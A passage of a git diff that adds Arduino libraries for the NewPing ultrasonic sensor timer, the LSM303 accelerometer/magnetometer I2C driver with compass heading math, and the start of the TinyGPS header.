work with ATmega8 and ATmega128) +// --------------------------------------------------------------------------- + +void NewPing::ping_timer(void (*userFunc)(void)) { + if (!ping_trigger()) return; // Trigger a ping, if it returns false, return without starting the echo timer. + timer_us(ECHO_TIMER_FREQ, userFunc); // Set ping echo timer check every ECHO_TIMER_FREQ uS. +} + + +boolean NewPing::check_timer() { + if (micros() > _max_time) { // Outside the timeout limit. + timer_stop(); // Disable timer interrupt + return false; // Cancel ping timer. + } + + if (!(*_echoInput & _echoBit)) { // Ping echo received. + timer_stop(); // Disable timer interrupt + ping_result = (micros() - (_max_time - _maxEchoTime) - 13); // Calculate ping time, 13uS of overhead. + return true; // Return ping echo true. + } + + return false; // Return false because there's no ping echo yet. +} + + +// --------------------------------------------------------------------------- +// Timer2/Timer4 interrupt methods (can be used for non-ultrasonic needs) +// --------------------------------------------------------------------------- + +// Variables used for timer functions +void (*intFunc)(); +void (*intFunc2)(); +unsigned long _ms_cnt_reset; +volatile unsigned long _ms_cnt; + + +void NewPing::timer_us(unsigned int frequency, void (*userFunc)(void)) { + timer_setup(); // Configure the timer interrupt. + intFunc = userFunc; // User's function to call when there's a timer event. + +#if defined (__AVR_ATmega32U4__) // Use Timer4 for ATmega32U4 (Teensy/Leonardo). + OCR4C = min((frequency>>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK4 = (1<>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK2 |= (1<= 100 + #include +#else + #include + #include +#endif + +#include +#include + +// Shoudln't need to changed these values unless you have a specific need to do so. +#define MAX_SENSOR_DISTANCE 500 // Maximum sensor distance can be as high as 500cm, no reason to wait for ping longer than sound takes to travel this distance and back. +#define US_ROUNDTRIP_IN 146 // Microseconds (uS) it takes sound to travel round-trip 1 inch (2 inches total), uses integer to save compiled code space. +#define US_ROUNDTRIP_CM 57 // Microseconds (uS) it takes sound to travel round-trip 1cm (2cm total), uses integer to save compiled code space. +#define DISABLE_ONE_PIN false // Set to "true" to save up to 26 bytes of compiled code space if you're not using one pin sensor connections. + +// Probably shoudln't change these values unless you really know what you're doing. +#define NO_ECHO 0 // Value returned if there's no ping echo within the specified MAX_SENSOR_DISTANCE or max_cm_distance. +#define MAX_SENSOR_DELAY 18000 // Maximum uS it takes for sensor to start the ping (SRF06 is the highest measured, just under 18ms). +#define ECHO_TIMER_FREQ 24 // Frequency to check for a ping echo (every 24uS is about 0.4cm accuracy). +#define PING_MEDIAN_DELAY 29 // Millisecond delay between pings in the ping_median method. + +// Conversion from uS to distance (round result to nearest cm or inch). +#define NewPingConvert(echoTime, conversionFactor) (max((echoTime + conversionFactor / 2) / conversionFactor, (echoTime ? 1 : 0))) + + +class NewPing { + public: + NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance = MAX_SENSOR_DISTANCE); + unsigned int ping(); + unsigned int ping_in(); + unsigned int ping_cm(); + unsigned int ping_median(uint8_t it = 5); + unsigned int convert_in(unsigned int echoTime); + unsigned int convert_cm(unsigned int echoTime); + void ping_timer(void (*userFunc)(void)); + boolean check_timer(); + unsigned long ping_result; + static void timer_us(unsigned int frequency, void (*userFunc)(void)); + static void timer_ms(unsigned long frequency, void (*userFunc)(void)); + static void timer_stop(); + private: + boolean ping_trigger(); + boolean ping_wait_timer(); + uint8_t _triggerBit; + uint8_t _echoBit; + volatile uint8_t *_triggerOutput; + volatile uint8_t *_triggerMode; + volatile uint8_t *_echoInput; + unsigned int _maxEchoTime; + unsigned long _max_time; + static void timer_setup(); + static void timer_ms_cntdwn(); +}; + + +#endif \ No newline at end of file diff --git a/libraries/PLabLib4/LSM303.cpp b/libraries/PLabLib4/LSM303.cpp new file mode 100755 index 0000000..338925c --- /dev/null +++ b/libraries/PLabLib4/LSM303.cpp @@ -0,0 +1,570 @@ +#include +#include +#include + +// Defines //////////////////////////////////////////////////////////////// + +// The Arduino two-wire interface uses a 7-bit number for the address, +// and sets the last bit correctly based on reads and writes +#define D_SA0_HIGH_ADDRESS 0b0011101 // D with SA0 high +#define D_SA0_LOW_ADDRESS 0b0011110 // D with SA0 low or non-D magnetometer +#define NON_D_MAG_ADDRESS 0b0011110 // D with SA0 low or non-D magnetometer +#define NON_D_ACC_SA0_LOW_ADDRESS 0b0011000 // non-D accelerometer with SA0 low +#define NON_D_ACC_SA0_HIGH_ADDRESS 0b0011001 // non-D accelerometer with SA0 high + +#define TEST_REG_NACK -1 + +#define D_WHO_ID 0x49 +#define DLM_WHO_ID 0x3C + +// Constructors //////////////////////////////////////////////////////////////// + +LSM303::LSM303(void) +{ + /* + These values lead to an assumed magnetometer bias of 0. + Use the Calibrate example program to determine appropriate values + for your particular unit. The Heading example demonstrates how to + adjust these values in your own sketch. + */ + m_min = (LSM303::vector){-32767, -32767, -32767}; + m_max = (LSM303::vector){+32767, +32767, +32767}; + + _device = device_auto; + + io_timeout = 0; // 0 = no timeout + did_timeout = false; +} + +// Public Methods ////////////////////////////////////////////////////////////// + +// Did a timeout occur in readAcc(), readMag(), or read() since the last call to timeoutOccurred()? +bool LSM303::timeoutOccurred() +{ + bool tmp = did_timeout; + did_timeout = false; + return tmp; + +} + +void LSM303::setTimeout(unsigned int timeout) +{ + io_timeout = timeout; +} + +unsigned int LSM303::getTimeout() +{ + return io_timeout; +} + +bool LSM303::init(deviceType device, sa0State sa0) +{ + // determine device type if necessary + if (device == device_auto) + { + if (testReg(D_SA0_HIGH_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + // device responds to address 0011101 with D ID; it's a D with SA0 high + device = device_D; + sa0 = sa0_high; + } + else if (testReg(D_SA0_LOW_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + // device responds to address 0011110 with D ID; it's a D with SA0 low + device = device_D; + sa0 = sa0_low; + } + // Remaining possibilities: DLHC, DLM, or DLH. DLHC seems to respond to WHO_AM_I request the + // same way as DLM, even though this register isn't documented in its datasheet, so instead, + // guess if it's a DLHC based on acc address (Pololu boards pull SA0 low on DLM and DLH; + // DLHC doesn't have SA0 but uses same acc address as DLH/DLM with SA0 high). + else if (testReg(NON_D_ACC_SA0_HIGH_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + // device responds to address 0011001; guess that it's a DLHC + device = device_DLHC; + sa0 = sa0_high; + } + // Remaining possibilities: DLM or DLH. Check acc with SA0 low address to make sure it's responsive + else if (testReg(NON_D_ACC_SA0_LOW_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + // device responds to address 0011000 with DLM ID; guess that it's a DLM + sa0 = sa0_low; + + // Now check WHO_AM_I_M + if (testReg(NON_D_MAG_ADDRESS, WHO_AM_I_M) == DLM_WHO_ID) + { + device = device_DLM; + } + else + { + device = device_DLH; + } + } + else + { + // device hasn't responded meaningfully, so give up + return false; + } + } + + // determine SA0 if necessary + if (sa0 == sa0_auto) + { + if (device == device_D) + { + if (testReg(D_SA0_HIGH_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + sa0 = sa0_high; + } + else if (testReg(D_SA0_LOW_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + sa0 = sa0_low; + } + else + { + // no response on either possible address; give up + return false; + } + } + else if (device == device_DLM || device == device_DLH) + { + if (testReg(NON_D_ACC_SA0_HIGH_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + sa0 = sa0_high; + } + else if (testReg(NON_D_ACC_SA0_LOW_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + sa0 = sa0_low; + } + else + { + // no response on either possible address; give up + return false; + } + } + } + + _device = device; + + // set device addresses and translated register addresses + switch (device) + { + case device_D: + acc_address = mag_address = (sa0 == sa0_high) ? D_SA0_HIGH_ADDRESS : D_SA0_LOW_ADDRESS; + translated_regs[-OUT_X_L_M] = D_OUT_X_L_M; + translated_regs[-OUT_X_H_M] = D_OUT_X_H_M; + translated_regs[-OUT_Y_L_M] = D_OUT_Y_L_M; + translated_regs[-OUT_Y_H_M] = D_OUT_Y_H_M; + translated_regs[-OUT_Z_L_M] = D_OUT_Z_L_M; + translated_regs[-OUT_Z_H_M] = D_OUT_Z_H_M; + break; + + case device_DLHC: + acc_address = NON_D_ACC_SA0_HIGH_ADDRESS; // DLHC doesn't have SA0 but uses same acc address as DLH/DLM with SA0 high + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLHC_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLHC_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLHC_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLHC_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLHC_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLHC_OUT_Z_L_M; + break; + + case device_DLM: + acc_address = (sa0 == sa0_high) ? NON_D_ACC_SA0_HIGH_ADDRESS : NON_D_ACC_SA0_LOW_ADDRESS; + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLM_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLM_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLM_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLM_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLM_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLM_OUT_Z_L_M; + break; + + case device_DLH: + acc_address = (sa0 == sa0_high) ? NON_D_ACC_SA0_HIGH_ADDRESS : NON_D_ACC_SA0_LOW_ADDRESS; + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLH_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLH_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLH_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLH_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLH_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLH_OUT_Z_L_M; + break; + } + return true; +} + +/* +Enables the LSM303's accelerometer and magnetometer. Also: +- Sets sensor full scales (gain) to default power-on values, which are + +/- 2 g for accelerometer and +/- 1.3 gauss for magnetometer + (+/- 4 gauss on LSM303D). +- Selects 50 Hz ODR (output data rate) for accelerometer and 7.5 Hz + ODR for magnetometer (6.25 Hz on LSM303D). (These are the ODR + settings for which the electrical characteristics are specified in + the datasheets.) +- Enables high resolution modes (if available). +Note that this function will also reset other settings controlled by +the registers it writes to. +*/ +void LSM303::enableDefault(void) +{ + + if (_device == device_D) + { + // Accelerometer + + // 0x57 = 0b01010111 + // AFS = 0 (+/- 2 g full scale) + writeReg(CTRL2, 0x00); + + // 0x57 = 0b01010111 + // AODR = 0101 (50 Hz ODR); AZEN = AYEN = AXEN = 1 (all axes enabled) + writeReg(CTRL1, 0x57); + + // Magnetometer + + // 0x64 = 0b01100100 + // M_RES = 11 (high resolution mode); M_ODR = 001 (6.25 Hz ODR) + writeReg(CTRL5, 0x64); + + // 0x20 = 0b00100000 + // MFS = 01 (+/- 4 gauss full scale) + writeReg(CTRL6, 0x20); + + // 0x00 = 0b00000000 + // MLP = 0 (low power mode off); MD = 00 (continuous-conversion mode) + writeReg(CTRL7, 0x00); + } + else if (_device == device_DLHC) + { + // Accelerometer + + // 0x08 = 0b00001000 + // FS = 00 (+/- 2 g full scale); HR = 1 (high resolution enable) + writeAccReg(CTRL_REG4_A, 0x08); + + // 0x47 = 0b01000111 + // ODR = 0100 (50 Hz ODR); LPen = 0 (normal mode); Zen = Yen = Xen = 1 (all axes enabled) + writeAccReg(CTRL_REG1_A, 0x47); + + // Magnetometer + + // 0x0C = 0b00001100 + // DO = 011 (7.5 Hz ODR) + writeMagReg(CRA_REG_M, 0x0C); + + // 0x20 = 0b00100000 + // GN = 001 (+/- 1.3 gauss full scale) + writeMagReg(CRB_REG_M, 0x20); + + // 0x00 = 0b00000000 + // MD = 00 (continuous-conversion mode) + writeMagReg(MR_REG_M, 0x00); + } + else // DLM, DLH + { + // Accelerometer + + // 0x00 = 0b00000000 + // FS = 00 (+/- 2 g full scale) + writeAccReg(CTRL_REG4_A, 0x00); + + // 0x27 = 0b00100111 + // PM = 001 (normal mode); DR = 00 (50 Hz ODR); Zen = Yen = Xen = 1 (all axes enabled) + writeAccReg(CTRL_REG1_A, 0x27); + + // Magnetometer + + // 0x0C = 0b00001100 + // DO = 011 (7.5 Hz ODR) + writeMagReg(CRA_REG_M, 0x0C); + + // 0x20 = 0b00100000 + // GN = 001 (+/- 1.3 gauss full scale) + writeMagReg(CRB_REG_M, 0x20); + + // 0x00 = 0b00000000 + // MD = 00 (continuous-conversion mode) + writeMagReg(MR_REG_M, 0x00); + } +} + +// Writes an accelerometer register +void LSM303::writeAccReg(regAddr reg, byte value) +{ + Wire.beginTransmission(acc_address); + Wire.write((byte)reg); + Wire.write(value); + last_status = Wire.endTransmission(); +} + +// Reads an accelerometer register +byte LSM303::readAccReg(regAddr reg) +{ + byte value; + + Wire.beginTransmission(acc_address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + Wire.requestFrom(acc_address, (byte)1); + value = Wire.read(); + Wire.endTransmission(); + + return value; +} + +// Writes a magnetometer register +void LSM303::writeMagReg(regAddr reg, byte value) +{ + Wire.beginTransmission(mag_address); + Wire.write((byte)reg); + Wire.write(value); + last_status = Wire.endTransmission(); +} + +// Reads a magnetometer register +byte LSM303::readMagReg(regAddr reg) +{ + byte value; + + // if dummy register address (magnetometer Y/Z), look up actual translated address (based on device type) + if (reg < 0) + { + reg = translated_regs[-reg]; + } + + Wire.beginTransmission(mag_address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + Wire.requestFrom(mag_address, (byte)1); + value = Wire.read(); + Wire.endTransmission(); + + return value; +} + +void LSM303::writeReg(regAddr reg, byte value) +{ + // mag address == acc_address for LSM303D, so it doesn't really matter which one we use. + // Use writeMagReg so it can translate OUT_[XYZ]_[HL]_M + if (_device == device_D || reg < CTRL_REG1_A) + { + writeMagReg(reg, value); + } + else + { + writeAccReg(reg, value); + } +} + +// Note that this function will not work for reading TEMP_OUT_H_M and TEMP_OUT_L_M on the DLHC. +// To read those two registers, use readMagReg() instead. +byte LSM303::readReg(regAddr reg) +{ + // mag address == acc_address for LSM303D, so it doesn't really matter which one we use. + // Use writeMagReg so it can translate OUT_[XYZ]_[HL]_M + if (_device == device_D || reg < CTRL_REG1_A) + { + return readMagReg(reg); + } + else + { + return readAccReg(reg); + } +} + +// Reads the 3 accelerometer channels and stores them in vector a +void LSM303::readAcc(void) +{ + Wire.beginTransmission(acc_address); + // assert the MSB of the address to get the accelerometer + // to do slave-transmit subaddress updating. + Wire.write(OUT_X_L_A | (1 << 7)); + last_status = Wire.endTransmission(); + Wire.requestFrom(acc_address, (byte)6); + + unsigned int millis_start = millis(); + while (Wire.available() < 6) { + if (io_timeout > 0 && ((unsigned int)millis() - millis_start) > io_timeout) + { + did_timeout = true; + return; + } + } + + byte xla = Wire.read(); + byte xha = Wire.read(); + byte yla = Wire.read(); + byte yha = Wire.read(); + byte zla = Wire.read(); + byte zha = Wire.read(); + + // combine high and low bytes + // This no longer drops the lowest 4 bits of the readings from the DLH/DLM/DLHC, which are always 0 + // (12-bit resolution, left-aligned). The D has 16-bit resolution + a.x = (int16_t)(xha << 8 | xla); + a.y = (int16_t)(yha << 8 | yla); + a.z = (int16_t)(zha << 8 | zla); +} + +// Reads the 3 magnetometer channels and stores them in vector m +void LSM303::readMag(void) +{ + Wire.beginTransmission(mag_address); + // If LSM303D, assert MSB to enable subaddress updating + // OUT_X_L_M comes first on D, OUT_X_H_M on others + Wire.write((_device == device_D) ? translated_regs[-OUT_X_L_M] | (1 << 7) : translated_regs[-OUT_X_H_M]); + last_status = Wire.endTransmission(); + Wire.requestFrom(mag_address, (byte)6); + + unsigned int millis_start = millis(); + while (Wire.available() < 6) { + if (io_timeout > 0 && ((unsigned int)millis() - millis_start) > io_timeout) + { + did_timeout = true; + return; + } + } + + byte xlm, xhm, ylm, yhm, zlm, zhm; + + if (_device == device_D) + { + /// D: X_L, X_H, Y_L, Y_H, Z_L, Z_H + xlm = Wire.read(); + xhm = Wire.read(); + ylm = Wire.read(); + yhm = Wire.read(); + zlm = Wire.read(); + zhm = Wire.read(); + } + else + { + // DLHC, DLM, DLH: X_H, X_L... + xhm = Wire.read(); + xlm = Wire.read(); + + if (_device == device_DLH) + { + // DLH: ...Y_H, Y_L, Z_H, Z_L + yhm = Wire.read(); + ylm = Wire.read(); + zhm = Wire.read(); + zlm = Wire.read(); + } + else + { + // DLM, DLHC: ...Z_H, Z_L, Y_H, Y_L + zhm = Wire.read(); + zlm = Wire.read(); + yhm = Wire.read(); + ylm = Wire.read(); + } + } + + // combine high and low bytes + m.x = (int16_t)(xhm << 8 | xlm); + m.y = (int16_t)(yhm << 8 | ylm); + m.z = (int16_t)(zhm << 8 | zlm); +} + +// Reads all 6 channels of the LSM303 and stores them in the object variables +void LSM303::read(void) +{ + readAcc(); + readMag(); +} + +/* +Returns the angular difference in the horizontal plane between a +default vector and north, in degrees. + +The default vector here is chosen to point along the surface of the +PCB, in the direction of the top of the text on the silkscreen. +This is the +X axis on the Pololu LSM303D carrier and the -Y axis on +the Pololu LSM303DLHC, LSM303DLM, and LSM303DLH carriers. +*/ +float LSM303::heading(void) +{ + if (_device == device_D) + { + return heading((vector){1, 0, 0}); + } + else + { + return heading((vector){0, -1, 0}); + } +} + +/* +Returns the angular difference in the horizontal plane between the +"from" vector and north, in degrees. + +Description of heading algorithm: +Shift and scale the magnetic reading based on calibration data to find +the North vector. Use the acceleration readings to determine the Up +vector (gravity is measured as an upward acceleration). The cross +product of North and Up vectors is East. The vectors East and North +form a basis for the horizontal plane. The From vector is projected +into the horizontal plane and the angle between the projected vector +and horizontal north is returned. +*/ +template float LSM303::heading(vector from) +{ + vector temp_m = {m.x, m.y, m.z}; + + // subtract offset (average of min and max) from magnetometer readings + temp_m.x -= ((int32_t)m_min.x + m_max.x) / 2; + temp_m.y -= ((int32_t)m_min.y + m_max.y) / 2; + temp_m.z -= ((int32_t)m_min.z + m_max.z) / 2; + + // compute E and N + vector E; + vector N; + vector_cross(&temp_m, &a, &E); + vector_normalize(&E); + vector_cross(&a, &E, &N); + vector_normalize(&N); + + // compute heading + float heading = atan2(vector_dot(&E, &from), vector_dot(&N, &from)) * 180 / M_PI; + if (heading < 0) heading += 360; + return heading; +} + +template void LSM303::vector_cross(const vector *a,const vector *b, vector *out) +{ + out->x = (a->y * b->z) - (a->z * b->y); + out->y = (a->z * b->x) - (a->x * b->z); + out->z = (a->x * b->y) - (a->y * b->x); +} + +template float LSM303::vector_dot(const vector *a, const vector *b) +{ + return (a->x * b->x) + (a->y * b->y) + (a->z * b->z); +} + +void LSM303::vector_normalize(vector *a) +{ + float mag = sqrt(vector_dot(a, a)); + a->x /= mag; + a->y /= mag; + a->z /= mag; +} + +// Private Methods ////////////////////////////////////////////////////////////// + +int LSM303::testReg(byte address, regAddr reg) +{ + Wire.beginTransmission(address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + + Wire.requestFrom(address, (byte)1); + if (Wire.available()) + return Wire.read(); + else + return TEST_REG_NACK; +} \ No newline at end of file diff --git a/libraries/PLabLib4/LSM303.h b/libraries/PLabLib4/LSM303.h new file mode 100755 index 0000000..159f632 --- /dev/null +++ b/libraries/PLabLib4/LSM303.h @@ -0,0 +1,218 @@ +#ifndef LSM303_h +#define LSM303_h + +#include // for byte data type + +class LSM303 +{ + public: + template struct vector + { + T x, y, z; + }; + + enum deviceType { device_DLH, device_DLM, device_DLHC, device_D, device_auto }; + enum sa0State { sa0_low, sa0_high, sa0_auto }; + + // register addresses + enum regAddr + { + TEMP_OUT_L = 0x05, // D + TEMP_OUT_H = 0x06, // D + + STATUS_M = 0x07, // D + + INT_CTRL_M = 0x12, // D + INT_SRC_M = 0x13, // D + INT_THS_L_M = 0x14, // D + INT_THS_H_M = 0x15, // D + + OFFSET_X_L_M = 0x16, // D + OFFSET_X_H_M = 0x17, // D + OFFSET_Y_L_M = 0x18, // D + OFFSET_Y_H_M = 0x19, // D + OFFSET_Z_L_M = 0x1A, // D + OFFSET_Z_H_M = 0x1B, // D + REFERENCE_X = 0x1C, // D + REFERENCE_Y = 0x1D, // D + REFERENCE_Z = 0x1E, // D + + CTRL0 = 0x1F, // D + CTRL1 = 0x20, // D + CTRL_REG1_A = 0x20, // DLH, DLM, DLHC + CTRL2 = 0x21, // D + CTRL_REG2_A = 0x21, // DLH, DLM, DLHC + CTRL3 = 0x22, // D + CTRL_REG3_A = 0x22, // DLH, DLM, DLHC + CTRL4 = 0x23, // D + CTRL_REG4_A = 0x23, // DLH, DLM, DLHC + CTRL5 = 0x24, // D + CTRL_REG5_A = 0x24, // DLH, DLM, DLHC + CTRL6 = 0x25, // D + CTRL_REG6_A = 0x25, // DLHC + HP_FILTER_RESET_A = 0x25, // DLH, DLM + CTRL7 = 0x26, // D + REFERENCE_A = 0x26, // DLH, DLM, DLHC + STATUS_A = 0x27, // D + STATUS_REG_A = 0x27, // DLH, DLM, DLHC + + OUT_X_L_A = 0x28, + OUT_X_H_A = 0x29, + OUT_Y_L_A = 0x2A, + OUT_Y_H_A = 0x2B, + OUT_Z_L_A = 0x2C, + OUT_Z_H_A = 0x2D, + + FIFO_CTRL = 0x2E, // D + FIFO_CTRL_REG_A = 0x2E, // DLHC + FIFO_SRC = 0x2F, // D + FIFO_SRC_REG_A = 0x2F, // DLHC + + IG_CFG1 = 0x30, // D + INT1_CFG_A = 0x30, // DLH, DLM, DLHC + IG_SRC1 = 0x31, // D + INT1_SRC_A = 0x31, // DLH, DLM, DLHC + IG_THS1 = 0x32, // D + INT1_THS_A = 0x32, // DLH, DLM, DLHC + IG_DUR1 = 0x33, // D + INT1_DURATION_A = 0x33, // DLH, DLM, DLHC + IG_CFG2 = 0x34, // D + INT2_CFG_A = 0x34, // DLH, DLM, DLHC + IG_SRC2 = 0x35, // D + INT2_SRC_A = 0x35, // DLH, DLM, DLHC + IG_THS2 = 0x36, // D + INT2_THS_A = 0x36, // DLH, DLM, DLHC + IG_DUR2 = 0x37, // D + INT2_DURATION_A = 0x37, // DLH, DLM, DLHC + + CLICK_CFG = 0x38, // D + CLICK_CFG_A = 0x38, // DLHC + CLICK_SRC = 0x39, // D + CLICK_SRC_A = 0x39, // DLHC + CLICK_THS = 0x3A, // D + CLICK_THS_A = 0x3A, // DLHC + TIME_LIMIT = 0x3B, // D + TIME_LIMIT_A = 0x3B, // DLHC + TIME_LATENCY = 0x3C, // D + TIME_LATENCY_A = 0x3C, // DLHC + TIME_WINDOW = 0x3D, // D + TIME_WINDOW_A = 0x3D, // DLHC + + Act_THS = 0x3E, // D + Act_DUR = 0x3F, // D + + CRA_REG_M = 0x00, // DLH, DLM, DLHC + CRB_REG_M = 0x01, // DLH, DLM, DLHC + MR_REG_M = 0x02, // DLH, DLM, DLHC + + SR_REG_M = 0x09, // DLH, DLM, DLHC + IRA_REG_M = 0x0A, // DLH, DLM, DLHC + IRB_REG_M = 0x0B, // DLH, DLM, DLHC + IRC_REG_M = 0x0C, // DLH, DLM, DLHC + + WHO_AM_I_M = 0x0F, // DLM + WHO_AM_I = 0x0F, // D + + TEMP_OUT_H_M = 0x31, // DLHC + TEMP_OUT_L_M = 0x32, // DLHC + + + // dummy addresses for registers in different locations on different devices; + // the library translates these based on device type + // value with sign flipped is used as index into translated_regs array + + OUT_X_H_M = -1, + OUT_X_L_M = -2, + OUT_Y_H_M = -3, + OUT_Y_L_M = -4, + OUT_Z_H_M = -5, + OUT_Z_L_M = -6, + // update dummy_reg_count if registers are added here! + + // device-specific register addresses + + DLH_OUT_X_H_M = 0x03, + DLH_OUT_X_L_M = 0x04, + DLH_OUT_Y_H_M = 0x05, + DLH_OUT_Y_L_M = 0x06, + DLH_OUT_Z_H_M = 0x07, + DLH_OUT_Z_L_M = 0x08, + + DLM_OUT_X_H_M = 0x03, + DLM_OUT_X_L_M = 0x04, + DLM_OUT_Z_H_M = 0x05, + DLM_OUT_Z_L_M = 0x06, + DLM_OUT_Y_H_M = 0x07, + DLM_OUT_Y_L_M = 0x08, + + DLHC_OUT_X_H_M = 0x03, + DLHC_OUT_X_L_M = 0x04, + DLHC_OUT_Z_H_M = 0x05, + DLHC_OUT_Z_L_M = 0x06, + DLHC_OUT_Y_H_M = 0x07, + DLHC_OUT_Y_L_M = 0x08, + + D_OUT_X_L_M = 0x08, + D_OUT_X_H_M = 0x09, + D_OUT_Y_L_M = 0x0A, + D_OUT_Y_H_M = 0x0B, + D_OUT_Z_L_M = 0x0C, + D_OUT_Z_H_M = 0x0D + }; + + vector a; // accelerometer readings + vector m; // magnetometer readings + vector m_max; // maximum magnetometer values, used for calibration + vector m_min; // minimum magnetometer values, used for calibration + + byte last_status; // status of last I2C transmission + + LSM303(void); + + bool init(deviceType device = device_auto, sa0State sa0 = sa0_auto); + byte getDeviceType(void) { return _device; } + + void enableDefault(void); + + void writeAccReg(regAddr reg, byte value); + byte readAccReg(regAddr reg); + void writeMagReg(regAddr reg, byte value); + byte readMagReg(regAddr reg); + + void writeReg(regAddr reg, byte value); + byte readReg(regAddr reg); + + void readAcc(void); + void readMag(void); + void read(void); + + void setTimeout(unsigned int timeout); + unsigned int getTimeout(void); + bool timeoutOccurred(void); + + float heading(void); + template float heading(vector from); + + // vector functions + template static void vector_cross(const vector *a, const vector *b, vector *out); + template static float vector_dot(const vector *a,const vector *b); + static void vector_normalize(vector *a); + + private: + deviceType _device; // chip type (DLH, DLM, or DLHC) + byte acc_address; + byte mag_address; + + static const int dummy_reg_count = 6; + regAddr translated_regs[dummy_reg_count + 1]; // index 0 not used + + unsigned int io_timeout; + bool did_timeout; + + int testReg(byte address, regAddr reg); +}; + +#endif + + + diff --git a/libraries/TinyGPS/TinyGPS.h b/libraries/TinyGPS/TinyGPS.h new file mode 100644 index 0000000..0711907 --- /dev/null +++ b/libraries/TinyGPS/TinyGPS.h @@ -0,0 +1,157 @@ +/* +TinyGPS - a small GPS library for Arduino providing basic NMEA parsing +Based on work by and "distance_to" and "course_to" courtesy of Maarten Lamers. +Suggestion to add satellites(), course_to(), and cardinal(), by Matt Monson. +Precision improvements suggested by Wayne Holder. +Copyright (C) 2008-2013 Mikal Hart +All rights reserved. + +This library is free software; you can redistribute it and/or +modify it under the terms of the GNU Lesser General Public +License as published by the Free Software Foundation; either +version 2.1 of the License, or (at your option) any later version. + +This library is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +Lesser General Public License for more details. + +You should have received a copy of the GNU Lesser General Public +License along with this library; if not, write to the Free Software +Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef TinyGPS_h +#define TinyGPS_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif + +#include + +#define _GPS_VERSION 13 // software version of this library +#define _GPS_MPH_PER_KNOT 1.15077945 +#define _GPS_MPS_PER_KNOT 0.51444444 +#define _GPS_KMPH_PER_KNOT 1.852 +#define _GPS_MILES_PER_METER 0.00062137112 +#define _GPS_KM_PER_METER 0.001 +// #define _GPS_NO_STATS + +class TinyGPS +{ +public: + enum { + GPS_INVALID_AGE = 0xFFFFFFFF, GPS_INVALID_ANGLE = 999999999, + GPS_INVALID_ALTITUDE = 999999999, GPS_INVALID_DATE = 0, + GPS_INVALID_TIME = 0xFFFFFFFF, GPS_INVALID_SPEED = 999999999, + GPS_INVALID_FIX_TIME = 0xFFFFFFFF, GPS_INVALID_SATELLITES = 0xFF, + GPS_INVALID_HDOP = 0xFFFFFFFF + }; + + static const float GPS_INVALID_F_ANGLE, GPS_INVALID_F_ALTITUDE, GPS_INVALID_F_SPEED; + + TinyGPS(); + bool encode(char c); // process one character received from GPS + TinyGPS &operator << (char c) {encode(c); return *this;} + + // lat/long in MILLIONTHs of a degree and age of fix in milliseconds + // (note: versions 12 and earlier gave lat/long in 100,000ths of a degree. + void get_position(long *latitude, long *longitude, unsigned long *fix_age = 0); + + // date as ddmmyy, time as hhmmsscc, and age in milliseconds + void get_datetime(unsigned long *date, unsigned long *time, unsigned long *age = 0); + + // signed altitude in centimeters (from GPGGA sentence) + inline long altitude() { return _altitude; } + + // course in last full GPRMC sentence in 100th of a degree + inline unsigned long course() { return _course; } + + // speed in last full GPRMC sentence in 100ths of a knot + inline unsigned long speed() { return _speed; } + + // satellites used in last full GPGGA sentence + inline unsigned short satellites() { return _numsats; } + + // horizontal dilution of precision in 100ths + inline unsigned long hdop() { return _hdop; } + + void f_get_position(float *latitude, float *longitude, unsigned long *fix_age = 0); + void crack_datetime(int *year, byte *month, byte *day, + byte *hour, byte *minute, byte *second, byte *hundredths = 0, unsigned long *fix_age = 0); + float f_altitude(); + float f_course(); + float f_speed_knots(); + float f_speed_mph(); + float f_speed_mps(); + float f_speed_kmph(); + + static int library_version() { return _GPS_VERSION; } + + static float distance_between (float lat1, float long1, float lat2, float long2); + static float course_to (float lat1, float long1, float lat2, float long2); + static const char *cardinal(float course); + +#ifndef _GPS_NO_STATS + void stats(unsigned long *chars, unsigned short *good_sentences, unsigned short *failed_cs); +#endif + +private: + enum {_GPS_SENTENCE_GPGGA, _GPS_SENTENCE_GPRMC, _GPS_SENTENCE_OTHER}; + + // properties + unsigned long _time, _new_time; + unsigned long _date, _new_date; + long _latitude, _new_latitude; + long _longitude, _new_longitude; + long _altitude, _new_altitude; + unsigned long _speed, _new_speed; + unsigned long _course, 